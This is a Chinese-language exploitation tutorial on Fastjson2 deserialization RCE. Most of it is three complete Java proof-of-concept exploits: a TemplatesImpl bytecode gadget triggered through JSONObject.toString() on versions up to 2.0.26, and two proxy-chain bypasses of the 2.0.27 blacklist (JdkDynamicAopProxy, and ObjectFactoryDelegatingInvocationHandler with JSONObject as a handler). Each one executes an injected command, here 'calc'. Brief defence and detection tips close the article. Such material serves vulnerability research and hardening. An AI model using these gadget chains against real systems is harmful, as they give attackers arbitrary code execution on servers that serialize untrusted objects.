Fastjson2 RCE 深度剖析:从黑名单绕过到双代理链利用
字数 2338
更新时间 2025-12-03 12:05:28

Fastjson2 RCE 漏洞分析与利用技术详解

前言

本文深入剖析 Fastjson2 ≤2.0.26 版本的序列化触发机制,并重点分析在 ≥2.0.27 版本下如何利用 Spring AOP 代理与 ObjectFactoryDelegatingInvocationHandler 双重动态代理链绕过黑名单限制,实现稳定 RCE。

环境搭建

依赖配置

<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.26</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.25.0-GA</version>
</dependency>
<dependency>
    <groupId>xalan</groupId>
    <artifactId>xalan</artifactId>
    <version>2.7.2</version>
</dependency>

Fastjson2 ≤ 2.0.26 漏洞分析

恶意代码构造

import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws Exception {
        // 使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};
        
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "1111");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("1111", templates);
        jsonObject.toString();
    }
    
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

序列化触发机制分析

  1. toString() 方法调用流程

    • 调用 JSONWriterUTF16JDK8.write() 方法
    • 使用迭代器获取 JSONObject 中的键值对
    • 对 value 进行处理,主要在 JSONWriter.getObjectWrite() 方法中
  2. ObjectWriter 创建过程

    • creator 赋值为 ObjectWriterCreatorASM 类实例
    • 调用 BeanUtils.getters() 方法遍历传入类的所有 public 方法
    • 提取 getter 方法并放入 fieldWriterMap
  3. ASM 代码生成

    • 生成 OWG_1_3_TemplatesImpl
    • 通过 genMethodWrite()gwFieldValue()genGetObject() 调用链
    • 将 member 赋值为对应的 getter 方法
    • 调用 visitMethodInsn() 方法写入调用对应 getter 方法的代码
  4. getter 方法调用顺序

    • getOutputProperties()getStylesheetDOM()getTransletIndex()
    • 通过 TemplatesImpl 的 getter 方法触发恶意代码执行

Fastjson2 ≥ 2.0.27 黑名单绕过技术

黑名单机制分析

BeanUtils.getters() 方法中增加了黑名单检查,当检测到 TemplatesImpl 类时会直接 return,阻止后续操作。

绕过技术一:JdkDynamicAopProxy 链

依赖配置

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-aop</artifactId>
    <version>5.3.19</version>
</dependency>

利用原理

  1. 代理类特性利用

    • 代码只对代理类的接口调用 getters,不检查真实对象
    • Templates 接口不在黑名单中
    • TemplatesImpl 实现了该接口并额外提供 getOutputProperties() 方法
  2. JdkDynamicAopProxy.invoke() 方法分析

    • 当 chain 为空时调用 AopUtils.invokeJoinpointUsingReflection()
    • 通过反射调用目标对象的指定方法

完整利用代码

package org.example;

import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Main {
    public static void main(String[] args) throws Exception {
        // 使用 javassist 定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};
        
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "1111");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        // 构造 Spring AOP 代理
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        
        Class<?> proxyClass = Proxy.getProxyClass(Main.class.getClassLoader(), Templates.class);
        Constructor<?> constructor = proxyClass.getConstructor(InvocationHandler.class);
        InvocationHandler handler = new org.springframework.aop.framework.JdkDynamicAopProxy(advisedSupport);
        
        Object proxyObj = constructor.newInstance(handler);
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("1111", proxyObj);
        jsonObject.toString();
    }
    
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

调用流程

  1. Fastjson2 对代理对象进行序列化
  2. 反射调用 getOutputProperties() 方法
  3. JVM 将调用转发至 JdkDynamicAopProxy.invoke()
  4. 由于 advisors 为空,进入 if (chain.isEmpty()) 分支
  5. 通过 AopUtils.invokeJoinpointUsingReflection() 反射调用 TemplatesImpl.getOutputProperties()
  6. 加载并执行恶意字节码,完成 RCE

绕过技术二:ObjectFactoryDelegatingInvocationHandler 链

利用原理

  1. ObjectFactoryDelegatingInvocationHandler.invoke() 分析

    • 通过反射调用目标方法
    • 需要控制 getObject() 过程返回恶意 TemplatesImpl 对象
  2. JSONObject.invoke() 方法利用

    • 根据 getter 方法格式获取属性名 "object"
    • 通过 get() 方法从 map 中获取对应的 value 值

完整利用代码

package org.example;

import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.beans.factory.ObjectFactory;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Main {
    public static void main(String[] args) throws Exception {
        // 使用 javassist 定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};
        
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "1111");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        // 第一个 JSONObject 代理
        JSONObject jsonObject0 = new JSONObject();
        jsonObject0.put("object", templates);
        
        // 创建 ObjectFactory 接口的代理
        ObjectFactory<?> objectFactoryProxy = (ObjectFactory<?>) Proxy.newProxyInstance(
            Main.class.getClassLoader(),
            new Class[]{ObjectFactory.class},
            jsonObject0
        );
        
        // 反射创建 ObjectFactoryDelegatingInvocationHandler
        Class<?> handlerClass = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> constructor = handlerClass.getDeclaredConstructor(ObjectFactory.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(objectFactoryProxy);
        
        // 创建最终的 Templates 代理
        Templates proxy = (Templates) Proxy.newProxyInstance(
            Main.class.getClassLoader(),
            new Class[]{Templates.class},
            handler
        );
        
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("1111", proxy);
        jsonObject.toString();
    }
    
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

双重代理调用流程

  1. 第一层代理(ObjectFactory 接口)

    • 调用 proxy0.getObject() 时进入 JSONObject.invoke()
    • 解析为 getter → key = "object"
    • 返回 jsonObject0.get("object") = templates
  2. 第二层代理(ObjectFactoryDelegatingInvocationHandler)

    • Object target = objectFactory.getObject() 返回 templates
    • return method.invoke(target, args) 在 templates 上调用方法
  3. 最终触发

    • Fastjson2 序列化时自动调用 getOutputProperties()
    • 经由两层代理最终执行 TemplatesImpl.getOutputProperties()
    • 加载并运行恶意字节码,实现 RCE

技术要点总结

关键绕过技术

  1. 接口代理绕过黑名单:利用只检查接口不检查实现类的特性
  2. 双重代理链:通过多层代理转发方法调用
  3. 反射机制利用:动态创建代理对象和处理器

防御建议

  1. 及时升级 Fastjson2 到最新版本
  2. 严格限制反序列化操作
  3. 实施最小权限原则,限制执行敏感操作
  4. 使用安全防护产品检测和拦截恶意序列化数据

检测方法

  1. 监控 Fastjson2 反序列化操作
  2. 检测异常的代理对象创建行为
  3. 分析网络流量中的可疑序列化数据

本教学文档详细分析了 Fastjson2 RCE 漏洞的利用技术,包括历史版本漏洞原理和新版本绕过方法,为安全研究和防护提供全面参考。

相似文章
相似文章
 全屏